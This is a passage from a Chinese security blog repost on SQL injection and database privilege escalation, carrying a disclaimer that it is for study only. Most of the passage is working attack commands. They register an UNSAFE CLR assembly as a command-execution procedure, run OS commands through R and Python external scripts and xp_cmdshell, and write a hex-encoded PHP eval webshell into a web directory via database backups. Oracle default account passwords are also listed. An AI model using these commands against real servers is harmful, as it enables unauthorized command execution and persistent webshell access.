SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
}
return stdOutput.ToString();
}
}

  1. 1. 右键生成,会在.项目名称Database1binDebug下生成4个文件
  • • xxx.dacpac
  • • xxx.dll
  • • xxx.pdb
  • • xxx.sql

将dll文件注册进sqlserver:

十六进制写入(无文件落地):

CREATE ASSEMBLY sp_cmdExec
FROM 0x  -- 这里写xxx.sql文件里的
WITH PERMISSION_SET = UNSAFE

上传dll文件注册:

CREATE ASSEMBLY sp_cmdExec
FROM 'C:UsersAdministratorDesktopxxx1.dll' -- 这里写上传dll文件的路径
WITH PERMISSION_SET = UNSAFE

通过SSMS注册DLL:

在图形界面点击程序集-新建程序集-选择DLL

创建存储过程:

CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec

执行命令:

EXEC sp_cmdExec 'whoami';

删除存储过程和程序集:

DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY sp_cmdExec;

R和python(dbo/dba权限)

在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本利用前提sqlserver系统权限可以执行外部脚本

开启sp_execute_external_script :

-- 开启和关闭需要dba权限
-- 开启
EXEC sp_configure 'external scripts enabled',1;RECONFIGURE
-- 关闭
EXEC sp_configure 'external scripts enabled',0;RECONFIGURE

执行命令:

-- dbo和dba权限均可执行命令
-- 利用R执行命令
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
--利用python执行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'

差异备份写webshell(dbo权限)

dbo和dba都有备份数据库权限,我们可以把数据库备份成可执行脚本文件放到web目录里,获得 webshell

利用前提: (1) 知道网站绝对路径且路径可写 (2) 利用数据库必须存在备份文件

差异备份:

-- 生成备份文件
backup database test to disk = 'C:phpstudy_proWWW1.bak';
-- 创建表并写入一句话木马
create table test([cmd][image]);
Insert into test(cmd)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e);
-- 将数据库进行差异备份
backup database test to disk='C:phpstudy_proWWWshell.php' WITH DIFFERENTIAL,FORMAT;

日志备份:

alter database test set RECOVERY FULL -- 将数据库修改为完整模式
create table cmd (a image) -- 新建表
backup log test to disk = 'c:phpstudy_prowww2.bak' with init -- 备份表
insert into cmd (a) values (0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e) -- 将一句话木马写入表中
backup log test to disk = 'c:phpstudy_prowww2.php' -- 备份操作日志到指定脚本文件

不支持堆叠的情况下执行系统命令

select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'', 1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell ''whoami''');

Oracle提权

网上Oracle提权文章极其混乱,很烦。慢慢看

Oracle用户、角色与权限

默认用户:

名称 默认密码
SYS change_on_install
SYSTEM manager
SYSMAN oem_temp
scott tiger
...... ......

角色:

角色是一个或者多个系统权限或者对象权限的集合,是便于我们管理用户赋权而演化而来的

ROLE
CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
.....

查看所有角色:

select * from dba_roles; 

查看当前用户角色:

select * from user_role_privs;

系统权限:

名称 权限
CREATE SESSION 创建会话
CREATE SEQUENCE 创建序列
CREATE SYNONYM 创建同名对象
CREATE TABLE 在用户模式中创建表
DROP TABLE 在用户模式中删除表
CREATE PROCEDURE 创建存储过程
EXECUTE ANY PROCEDURE 执行任何模式的存储过程
...大概200多种

查看所有系统权限:

select * from system_privilege_map;

查看用户所具有的系统权限:

select * from dba_sys_privs;

查看当前用户的系统权限:

select * from user_sys_privs;

对象权限:

权限名 权限
select 查询
update 更新
insert 插入
alter 修改
references 关联
index 索引
delete 删除
execute 执行
all 所有权限

利用存储过程

利用java权限

DBMS_JVM_EXP_PERMS

DBMS_JAVA_TEST.FUNCALL()

DBMS_JAVA.RUNJAVA

暂不知道什么分类

XML序列化任意文件写入[^10]

参考

  • 激荡四十年-1988
  • http://phrack.org
  • “SQL注入”的前世今生和防御思路
  • sqlmapproject
  • SQL注入之insert/update/delete注入
  • SQL注入之盲注简单总结
  • SQL注入学习-Dnslog盲注
  • sql注入之(宽字节注入篇)
  • Tide安全团队——sql server提权总结
  • 基于反序列化的Oracle提权

⚠️ 文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月5日18:10:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL Injection的前世今生浅谈http://cn-sec.com/archives/2368171.html

发表评论

匿名网友 填写信息